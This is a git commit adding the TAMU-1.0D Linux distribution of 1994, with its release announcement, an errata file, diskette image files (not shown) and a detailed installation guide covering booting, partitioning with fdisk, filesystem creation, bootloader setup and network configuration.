add directory distributions
This commit is contained in:
83
distributions/TAMU/TAMU-1.0D/ANNOUNCE
Normal file
83
distributions/TAMU/TAMU-1.0D/ANNOUNCE
Normal file
@@ -0,0 +1,83 @@
|
||||
ANNOUNCING TAMU-1.0D Linux Release
|
||||
|
||||
DESCRIPTION:
|
||||
|
||||
TAMU-1.0D is the latest release in the TAMU linux series. Like the
|
||||
previous release, this one includes both *full* source and binary
|
||||
sets. The source set is an integrated BSD style source tree with the
|
||||
*entire* binary set created from a single top level make in this tree.
|
||||
make. This ensures that all programs are compiled and linked with the
|
||||
same current tools and libraries, and guarantees availability of
|
||||
working source for every program in the binary set.
|
||||
In addition, the boot diskette fully automates the installation
|
||||
process, including partitioning, lilo bootstrapping, and network
|
||||
configuration. Installation requires no rebooting, and requires the
|
||||
user to know only the host's name and IP address. At every step of
|
||||
installation, the program provides intelligent defaults, making it
|
||||
a snap for novices, while allowing experts full flexibility in setting
|
||||
installation parameters.
|
||||
This release has had several months of beta testing (.99p15.., 1.0,
|
||||
1.0A), fixing hundreds of bugs that were in prior TAMU releases, and
|
||||
adding significant new features.
|
||||
The end of this announcement gives a detailed list of the contents
|
||||
of this release. Highlights include: linux-1.0, libc-4.5.21, XFree86-2.1,
|
||||
chimera-1.50 (a mosaic clone that does not need motif), fvwm-1.22f,
|
||||
xfm-1.3 (now with shaped pixmaps), ghostscript-2.6.1, and tcl/tk with
|
||||
xf (an automated gui application builder).
|
||||
|
||||
AVAILABILITY:
|
||||
|
||||
The binary and source sets are available in both 3.5 and 5.25"
|
||||
labeled diskette images. The sets are also available as individual tar
|
||||
files or packages. All files are at:
|
||||
net.tamu.edu (128.194.177.1), in the directory
|
||||
pub/linux/TAMU-1.0D
|
||||
|
||||
REQUIREMENTS:
|
||||
|
||||
The binary set includes 1 boot, and 21 bin diskette images, and the
|
||||
source set includes 37 diskette images (22 and 44 respectively for 5.25
|
||||
inch diskettes). When installed, the binary set needs about 90MB of
|
||||
disk space (this includes swap and filesystem overhead). The sources
|
||||
take an additional 200MB, and need around another 50MB temporarily
|
||||
during compilation. Individual packages within the sources can be
|
||||
compiled independently, so you don't have to retrieve all 200MB to
|
||||
modify one program. The source packages have, however, been configured
|
||||
to compile under the TAMU-1.0D binary set, so there are no guarantees
|
||||
they will compile on other systems.
|
||||
|
||||
PHILOSOPHY:
|
||||
|
||||
The source release is based on an integrated set of source packages.
|
||||
This combines the advantages of a BSD style fully integrated release
|
||||
(single top level make ...), with the flexibility of separate source
|
||||
packages (it's easy to drop in new versions as they appear).
|
||||
This release is FSSTND compliant, with only a few minor exceptions.
|
||||
|
||||
CONTACTS:
|
||||
|
||||
Please send questions, comments, and bug fixes to:
|
||||
dave safford
|
||||
dave.safford@net.tamu.edu
|
||||
|
||||
DETAILED CONTENTS:
|
||||
|
||||
XFree86-2.1 Xlock a2ps archie-1.4.1 as86 at-2.5 base bash-1.13.5
|
||||
bind-4.8.3l binutils-1.9l.3 bison-1.19 boot bootpd-2.1a bootutils-0.1
|
||||
bwnfsd chimera-1.50 cron-3.0.1 diff-2.1 e2fsprogs-0.5 efsprogs
|
||||
elvis-1.7 emacs-19.22 file-1.25 fileutils-3.4 find-3.8 finger-5.22
|
||||
fingerd-5.6 flex-2.3.7 fromto ftp-5.9 ftpd-5.6 fvwm-1.22f gas-1.38.1l
|
||||
gawk-2.15.2 gcc-2.5.8 gdb-4.6 ghostscript-2.6.1.p4 gprof grep-1.6
|
||||
groff-1.08 gzip-1.2.3 inetd-5.3 init ispell-4.0 kbd-0.83 kermit
|
||||
kmem-ps-0.99.14 ld.so-1.4.3 ld86 less-177 libc-4.5.21 lilo-14 linux-1.0
|
||||
lpd-5.12 make-3.70 man-1.1 modutils-0.99.15 moxftp-2.0 mtools-2.0.5
|
||||
ncurses-0.7.2 net-032 net2pch nfsd-1.4 nntpd-1.5.11 patch-2.0.12u8
|
||||
pbmplus10dec91 pcnfsd-1.4 perl-4.036 ping-5.9 poeigl-1.21 popd-1.001
|
||||
pwd rcp-5.32 rlogin-5.33 rlogind-5.53 routed-5.23 rpc-0.9 rsh-5.24
|
||||
rshd-5.38 ruptime-5.7 rwho-5.5 rwhod-5.19 rzsz-9202 sed-1.13 seyon-2.12
|
||||
shadow-3.3.1 shellutils-1.8 smail-3.1.28 strace-2 talk-5.5 talkd-5.8
|
||||
tamu_install tamu_src tar-1.11.1 tcl-7.3 tk-3.6 tcpd-1.4 tcpdump
|
||||
tcsh-6.03 telnet-5.52 term-1.11 textutils-1.4 tftp-5.1 tftpd-5.13 time
|
||||
tools-2.10 tput-1.0 traceroute umail-360 usr.dict usr.man utila-1.5
|
||||
utilb-1.3 utile-1.5 vgaset wmail-401c wnews-402 x3270-3.0.1.3 xdos-03f
|
||||
xf-2.3 xfm1.3 xinvaders.p2 xsol xpm-3.4a xtetris-2.5.2 xxgdb-1.06
|
||||
4
distributions/TAMU/TAMU-1.0D/ERRATA
Normal file
4
distributions/TAMU/TAMU-1.0D/ERRATA
Normal file
@@ -0,0 +1,4 @@
|
||||
ERRATA file for BETA-TAMU-1.0D - 5/27/94
|
||||
Check ./fixes for respective fixes.
|
||||
|
||||
NONE (so far :-)
|
||||
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.01
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.01
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.02
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.02
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.03
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.03
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.04
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.04
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.05
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.05
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.06
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.06
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.07
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.07
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.08
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.08
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.09
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.09
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.10
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.10
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.11
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.11
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.12
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.12
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.13
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.13
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.14
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.14
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.15
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.15
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.16
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.16
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.17
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.17
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.18
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.18
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.19
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.19
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.20
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.20
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.21
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/bin.21
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/boot
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/3inch/boot
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.01
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.01
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.02
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.02
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.03
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.03
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.04
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.04
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.05
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.05
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.06
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.06
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.07
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.07
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.08
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.08
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.09
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.09
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.10
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.10
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.11
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.11
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.12
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.12
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.13
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.13
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.14
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.14
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.15
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.15
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.16
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.16
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.17
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.17
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.18
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.18
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.19
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.19
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.20
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.20
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.21
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.21
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.22
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.22
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.23
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.23
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.24
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.24
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.25
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.25
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.26
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/bin.26
Normal file
Binary file not shown.
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/boot
Normal file
BIN
distributions/TAMU/TAMU-1.0D/bin/5inch/boot
Normal file
Binary file not shown.
569
distributions/TAMU/TAMU-1.0D/bin/INSTALL.BIN
Normal file
569
distributions/TAMU/TAMU-1.0D/bin/INSTALL.BIN
Normal file
@@ -0,0 +1,569 @@
|
||||
TAMU-1.0D Linux BINARY SET
|
||||
Installation Instructions
|
||||
|
||||
MINIMUM HARDWARE REQUIREMENTS:
|
||||
80386 CPU
|
||||
4MB or more of RAM, 60MB of disk space (base)
|
||||
RECOMMENDED HARDWARE:
|
||||
80486 CPU
|
||||
8MB RAM 100MB disk
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
BEFORE INSTALLATION:
|
||||
|
||||
1. Retrieve the appropriate files from net.tamu.edu:
|
||||
boot
|
||||
bin.*
|
||||
Note: the boot diskette must be used in your drive A:
|
||||
but you may use any floppy drive for the install disk set.
|
||||
So if you have a 5.25 a: and 3.5 drive b:, the boot
|
||||
diskette must be 5.25, but the install set may be either
|
||||
5.25 or 3.5.
|
||||
|
||||
2. Transfer the images to diskettes with either dd (unix) or
|
||||
rawrite (dos). (Rawrite and uncompress for DOS are available
|
||||
from net.tamu.edu in util/dos-utils). By the way, dd runs
|
||||
MUCH faster to floppies on a Sun if the blocking is set up
|
||||
correctly. For 3.5 inch floppies on a Sun sparcstation:
|
||||
dd bs=18k conv=sync if=boot of=/dev/rfd0
|
||||
|
||||
NOTE:!!!
|
||||
The bin.* files are diskette *IMAGES*. That is, they exactly fill
|
||||
a raw diskette, and cannot be copied as files to diskettes as a DOS
|
||||
file. If you try under DOS to do "copy bin.01 a:" the file will
|
||||
not fit. You must use some tool like rawrite to write the image to
|
||||
diskette.
|
||||
|
||||
The rawrite steps can be combined/simplified with the use of the new
|
||||
"rawfd" dos device driver, available in the dos_utils directory on
|
||||
net.tamu.edu:pub/linux. This raw floppy device driver (which can be
|
||||
loaded in config.sys, or from the dos command prompt) allows one to
|
||||
ftp *directly* to the raw floppy disk, as if it were a regular
|
||||
destination file. For example, the ftp command "get boot rawfda"
|
||||
would ftp the boot disk image, and write it directly to the raw
|
||||
floppy in drive a:. In addition, rawfd will also format the floppy
|
||||
as it writes out the data, thus saving another step.
|
||||
|
||||
3. Determine necessary information about your configuration:
|
||||
With the new automated installation, the only required information
|
||||
you need is (and you need this ONLY if you are networked):
|
||||
hostname
|
||||
ip address
|
||||
netmask
|
||||
local nameserver address
|
||||
local default route address
|
||||
|
||||
This package uses the standard linux naming scheme:
|
||||
fd0H1440 3.5 inch HD floppy (a:)
|
||||
fd0h1200 5.25 inch HD floppy (a:)
|
||||
fd1H1440 3.5 inch HD floppy (b:)
|
||||
fd1h1200 5.25 inch HD floppy (b:)
|
||||
hda entire ide/mfm first *drive*
|
||||
hda1 .. hda4 first thru fourth *partition* on hda
|
||||
hdb entire ide/mfm second *drive*
|
||||
hdb1 .. hdb4 first thru fourth *partition* on hdb
|
||||
sda entire scsi first *drive*
|
||||
sda1 .. sda4 first thru fourth *partition* on sda
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
|
||||
INSTALLATION:
|
||||
|
||||
If your disk will be sharing space with other operating systems, such
|
||||
as DOS, INSTALL THE OTHER SYSTEMS FIRST. My preferred layout is OS/2
|
||||
on partition 1 using HPFS, DOS/WIN3.1 on partition 2 using FAT, an
|
||||
extended partition on partition 3 with a FAT filesystem (so it appears
|
||||
as drive d: to both OS/2 and DOS), and linux in partition 4. If you
|
||||
install them in this order, and in these locations, then TAMU linux's
|
||||
bootactv can be used for boot time selection, and OS/2's Boot Mangler
|
||||
is not needed. (REALLY!)
|
||||
|
||||
There are two installation methods: a simple menu driven installation
|
||||
script for most configurations (single linux root partition),
|
||||
or manual installation for experienced users with more complex needs.
|
||||
|
||||
|
||||
AUTOMATED INSTALLATION:
|
||||
|
||||
1. Boot the "boot" diskette.
|
||||
|
||||
IMPORTANT INFORMATION ABOUT AVAILABLE BOOT KERNELS:
|
||||
|
||||
The boot diskette has two tiny kernels: one for scsi
|
||||
or ide disk systems, and one just for ide based systems.
|
||||
Both tiny kernels have all unnecessary drivers, such as
|
||||
networking, CDROM, and special serial/mouse drivers
|
||||
removed, as these sometimes conflict with a given
|
||||
hardware configuration. By default, lilo will boot the
|
||||
combined scsi/ide kernel in ramdisk mode. If you have
|
||||
an ide only system, and the scsi probing code conflicts
|
||||
with your hardware, you can try the ide only kernel.
|
||||
If you press <tab> at the lilo boot prompt, you will
|
||||
see a list of available boot modes:
|
||||
ramdisk (scsi/ide kernel)
|
||||
floppy (scsi/ide kernel)
|
||||
harddisk (scsi/ide kernel)
|
||||
ide_ramdisk (ide only kernel)
|
||||
ide_floppy (ide only kernel)
|
||||
ide_harddisk (ide only kernel)
|
||||
The automatic install requires that you boot in the ramdisk mode.
|
||||
If you have insufficient memory for this, you can do a manual
|
||||
install from a floppy mode boot. The harddisk mode boot is
|
||||
useful as a backup way to boot a linux hard disk partition,
|
||||
if you have problems with the normal lilo boot.
|
||||
|
||||
The installed linux system has a full "generic" linux kernel
|
||||
(/vmlinuz) with ide, scsi, drivers, along with all possible
|
||||
network and mouse drivers. If the boot diskette works, but
|
||||
the installed hard disk kernel has problems booting due to
|
||||
driver conflicts with your hardware configuration, you will
|
||||
have to boot the hard disk using the boot diskette (selecting
|
||||
either the "harddisk" or "ide_hardisk" modes, and then
|
||||
configure and build a kernel tailored for your hardware
|
||||
(as discussed in "Rebuilding the kernel:" later in this document).
|
||||
|
||||
|
||||
The lilo boot program will prompt for "Boot" device -- press a
|
||||
shift key to see a help screen listing boot choices, and then simply
|
||||
press enter. (If you have a value point or other non-standard hardware,
|
||||
you may need to enter some lilo boot parameters here - see the
|
||||
examples on the boot information screen, or the latest FAQ for details.)
|
||||
As the kernel boots, you will be asked for video
|
||||
mode desired -- either select one of the choices, or let the
|
||||
prompt time out. You will finally see a menu:
|
||||
|
||||
Linux Maintenance Diskette
|
||||
|
||||
1 - Install a full distribution set
|
||||
2 - Exit to linux shell
|
||||
|
||||
press '1' and enter, to start the automated installation program.
|
||||
If you want to do a manual install, or other maintenance, press 2.
|
||||
|
||||
2. Running the automated installation program:
|
||||
|
||||
The program will first ask a series of questions to determine
|
||||
the desired installation configuration. In every case, a
|
||||
default answer will be provided, and this default answer will
|
||||
be displayed in parentheses (default) at the end of the question.
|
||||
To accept the default answer, simply press enter.
|
||||
|
||||
The questions asked are:
|
||||
|
||||
- What floppy drive will be used for installation?
|
||||
simply pick (1-4) from the menu
|
||||
|
||||
(A list of available partitions (including any free partitions)
|
||||
are then presented.)
|
||||
- Do you need to run fdisk now? (n)
|
||||
you need to run fdisk only if none of the displayed
|
||||
partitions (including any free space) are suitable.
|
||||
|
||||
- Which partition will be used for linux? (/dev/hda1)
|
||||
The default partition is chosen to be the largest linux or empty
|
||||
partition found. Non linux partitions will not be automatically
|
||||
selected as default partitions, but they are displayed on the
|
||||
list, and can be chosen.
|
||||
|
||||
- Setup swapping (for 4MB ram or less)? (y)
|
||||
Swapping to a 4MB swap file will be configured by default unless
|
||||
there is insufficient space in the selected partition.
|
||||
Swapping must be selected if you have 4MB of ram or less,
|
||||
or subsequent steps may run out of memory.
|
||||
|
||||
- Install all files? (y/n)
|
||||
The default is to install all files in the distribution set.
|
||||
If you would like to selectively install packages from the set,
|
||||
enter 'n'. The installation program will then ask you to remove
|
||||
the boot diskette, and insert the first data diskette, so that it
|
||||
can read the Table Of Contents (TOC). once it has read the TOC,
|
||||
it will for each package list the package name and size in bytes,
|
||||
and ask if you want it installed. The TAMU-1.0D TOC list contains:
|
||||
|
||||
Package Name Size (bytes) Diskette #
|
||||
base 3508234 1
|
||||
extra 4830318 1,2,3
|
||||
network 1084081 3
|
||||
development 11282586 3,4,5
|
||||
kernel_src 5081820 5,6
|
||||
man_pages 7048497 6,7
|
||||
emacs 15305892 7,8,9
|
||||
ghostscript 1022020 9,10
|
||||
groff 1964556 10,11
|
||||
libc-lite 619524 11
|
||||
X_libX11 478272 12
|
||||
X_base 25698219 12,13,14,15,16,17
|
||||
X_server_8514 848900
|
||||
X_server_Mach32 885764
|
||||
X_server_Mach8 869380
|
||||
X_server_Mono 771076
|
||||
X_server_S3 947204
|
||||
X_server_SVGA 947204
|
||||
X_server_VGA16 791556
|
||||
X_man_pages 4237255
|
||||
X_server_kit 3501751 21
|
||||
|
||||
The base package is the only required package. It contains the
|
||||
kernel, /bin, /sbin, /boot, /lib, and some /usr/bin files
|
||||
necessary for booting a basic linux system.
|
||||
|
||||
The X_libX11 package is separate from the rest of X_base,
|
||||
as it must be included if you load the emacs package.
|
||||
|
||||
You need at least one of the X_server pakcages, based on your
|
||||
your graphics hardware. The X_server_kit is optional.
|
||||
|
||||
|
||||
- Do you want BOOTACTV (boot time partition selector) installed? (y)
|
||||
bootactv is a simple MBR (master boot record) boot partition
|
||||
selector. You want this if you have multiple partitions
|
||||
on the first drive. You don't want it if you need to boot
|
||||
linux on a second drive partition, as in this case, LILO
|
||||
needs to be put in the first drive MBR. (see next question)
|
||||
|
||||
- Where do you want lilo installed? (/dev/hda1):
|
||||
If you asked for bootactv, the lilo bootstrap will default
|
||||
to the selected linux partition. If not, lilo will default to
|
||||
the MBR.
|
||||
|
||||
- What is this machine's hostname? (tamu)
|
||||
Simply enter the machine's desired hostname (default "tamu")
|
||||
|
||||
- Do you want networking configured? (y):
|
||||
simply enter 'n' if you don't want networking enabled.
|
||||
|
||||
If you asked for networking, you will get the following added questions:
|
||||
|
||||
- What domain is the machine in (tamu.edu)
|
||||
simply enter your IP domain name
|
||||
|
||||
- What is this host's IP address (192.9.200.1)
|
||||
enter your host's IP address
|
||||
|
||||
- What is the netmask (default)
|
||||
The presented default is correct for standard class A, B, or C
|
||||
networks. If your net is subnetted, you will need to override
|
||||
default with your local netmask. For example, tamu.edu
|
||||
has a class B network (128.194), so the default presented
|
||||
is 255.255.0.0, but we actually are subnetted with mask of
|
||||
255.255.255.0
|
||||
|
||||
- What is the network's address (default)
|
||||
The network address is (your IP address & NETMASK),
|
||||
ie a host part of all zeros.
|
||||
The default should be correct unless your subnet mask is
|
||||
not on a byte boundary, in which case you may need to override
|
||||
the presented value.
|
||||
|
||||
- what is the broadcast address (default)
|
||||
The broadcast address is (your IP address | !NETMASK)
|
||||
ie a host part of all ones.
|
||||
The default should be correct unless your subnet mask is
|
||||
not on a byte boundary, in which case you may need to override
|
||||
the presented value.
|
||||
|
||||
- What is the default gateway (default)
|
||||
The calculated default is host 254 on your network. You will
|
||||
probably want to change this.
|
||||
|
||||
- What is the nameserver address (default)
|
||||
The calculated default is host 254 on your network. You will
|
||||
probably want to change this.
|
||||
|
||||
Once these questions are answered, the program will display the selected
|
||||
partition, and ask for confirmation to proceed. The default on this
|
||||
question is 'n' -- you HAVE to enter 'y' to proceed.
|
||||
|
||||
The rest of the installation is automatic - it will tell you to take
|
||||
out the boot diskette, and enter the bin.* diskettes one at a time.
|
||||
Note that the new installation program is very forgiving of errors;
|
||||
if you insert the wrong diskette, it will tell you which disk you
|
||||
inserted, and ask for the correct one again. When the installation
|
||||
is finished, it will remind you to remove the last data diskette,
|
||||
and reboot (use ctrl-alt-del).
|
||||
The first time you reboot, fsck may check the root partition.
|
||||
In all subsequent reboots, as long as you use halt or reboot, the
|
||||
filesystems should be clean, and fsck will skip the time consuming
|
||||
checks.
|
||||
|
||||
RUNNING FDISK:
|
||||
|
||||
If you do want to run fdisk manually:
|
||||
|
||||
If you want to run fdisk during the automated installation, simply
|
||||
enter 'y' at the appropriate question.
|
||||
You will be asked which disk device to partition, such
|
||||
as hda, hdb, sda, sdb as discussed above.
|
||||
Fdisk has command help available with the "m" command.
|
||||
|
||||
"fdisk" should be able to determine your disk's geometry. If not,
|
||||
you will need to tell it the number of cylinders, heads, and sectors
|
||||
of your hard disk. Use the "x" command to switch to expert menu.
|
||||
Then use the "c" command to specify the cylinders, "h" command to
|
||||
specify heads, and "s" command to specify the sectors of your disk.
|
||||
Now use the "r" command to return to the starting menu.
|
||||
|
||||
The instructions here are a little less clear since your partitioning
|
||||
preferences may be different. I will give an example of 3 partitions,
|
||||
one for DOS, one for swap and the other for the root filesystem.
|
||||
I have a 90M drive that I want to partition into 10M for DOS,
|
||||
10M linux swap and 70M linux root file system.
|
||||
|
||||
First I use the "p" command to print the partition table. I see
|
||||
that my disk has 1024 cylinders, and that partition 1 (DOS) covers
|
||||
cylinders 1 through 114. Then I use the "d" command to delete any
|
||||
partitions other than DOS (partition 1). I then use the "n"
|
||||
command to create new partitions. "fdisk" will ask me if I want a
|
||||
primary of extended partition: use primary. Next it will ask me
|
||||
where to start the partition: I use cylinder 115. I want my first
|
||||
partition to be a swap partitoin of size 10M. The computer asks me
|
||||
how big to make the partition: I enter 114 cylinders. I create a
|
||||
second primary partition starting at cylinder 229 and make it 796
|
||||
cylinders in size.
|
||||
|
||||
By default, all partitions are created as Linux/MINIX partitions.
|
||||
Since we want to use partition 2 for swap, we need to change its
|
||||
type, or "system id". Use the "t" command to change the type:
|
||||
choose partition 2 and choose type 82 "Linux swap". Similarly,
|
||||
partition 3 needs to be changed to type 83 (extfs). A complete
|
||||
list of supported partition types can be obtained using the "l"
|
||||
command.
|
||||
|
||||
Before we go, use the "p" command to print the partition table and
|
||||
note down the number of blocks for each partition. We will need this
|
||||
in the next step.
|
||||
|
||||
We are now done with this. Use the "w" command to write the information
|
||||
to disk and exit "fdisk".
|
||||
|
||||
When you exit fdisk, you will be reminded to reboot, which you must do
|
||||
now, if you changed any partition information with fdisk. To reboot,
|
||||
press <control>-<alt>-<delete> keys together. If you did not make
|
||||
any changes, simply press return to continue installation.
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
|
||||
MANUAL INSTALLATION:
|
||||
|
||||
1. Boot your computer with disk "boot".
|
||||
At the maintenance menu, select (2.) to exit to a command shell.
|
||||
|
||||
2. Run the "fdisk" command. Partitions the disk as desired and note down
|
||||
the number of blocks allocated to each partition. (see the earlier
|
||||
description of this.)
|
||||
|
||||
[ /sbin/fdisk /dev/hda ]
|
||||
|
||||
3. Reboot your machine.
|
||||
|
||||
(Ctrl-Alt-Del or push reset button).
|
||||
|
||||
4. Run "mkefs" to create the file system on all non-swap partitions.
|
||||
|
||||
[ /sbin/mke2fs -c /dev/hda2 72345 ]
|
||||
|
||||
(I pulled 72345 out of air for this example, but you should used
|
||||
the number of blocks fdisk reported in the previous step.)
|
||||
|
||||
5. do the actual installation:
|
||||
[ mount -t ext2 /dev/hda2 /mnt ]
|
||||
[ cd /mnt ]
|
||||
[ label -u -i /dev/fd0H1440 |gzip -d|tar xBpf - ]
|
||||
|
||||
(change hda2 fd0H1440 and 1440 as appropriate)
|
||||
|
||||
6. configure the new root files:
|
||||
[ cd /mnt/etc ]
|
||||
[ /mnt/usr/bin/vi system_config ]
|
||||
this file contains definitions for the system configuration.
|
||||
edit the example values appropriately.
|
||||
[ ../sbin/doconfig ]
|
||||
|
||||
7. If you have more than one operating system (eg DOS and Linux)
|
||||
and want to have boot time selection of which operating system
|
||||
to run, install bootactv on your boot drive:
|
||||
|
||||
[ cd /mnt/boot; /mnt/bin/cp bootactv.bin /dev/hda ]
|
||||
|
||||
( substitute your drive name for "/dev/hda")
|
||||
|
||||
8. prepare for reboot:
|
||||
|
||||
[ cd / ]
|
||||
[ umount /mnt ]
|
||||
[ sync ]
|
||||
|
||||
------------------------------------------------------------------------
|
||||
|
||||
|
||||
FURTHER CONFIGURATION:
|
||||
|
||||
1. remove all floppies, and reboot the machine:
|
||||
[ control-alt-delete ]
|
||||
|
||||
2. Log in as root by typing "root" at the login prompt.
|
||||
|
||||
[ root ]
|
||||
set a password for root:
|
||||
[ passwd ]
|
||||
|
||||
3. You are now mostly done. You may still need to configure /etc/mtools,
|
||||
/etc/fstab (if necessary for cdrom ...), and
|
||||
/usr/X386/lib/X11/Xconfig.hostname. You may also want to rebuild
|
||||
the kernel for your configuration (the default kernel has only
|
||||
necessary devices in it, and assumes you have only a 80386 processor).
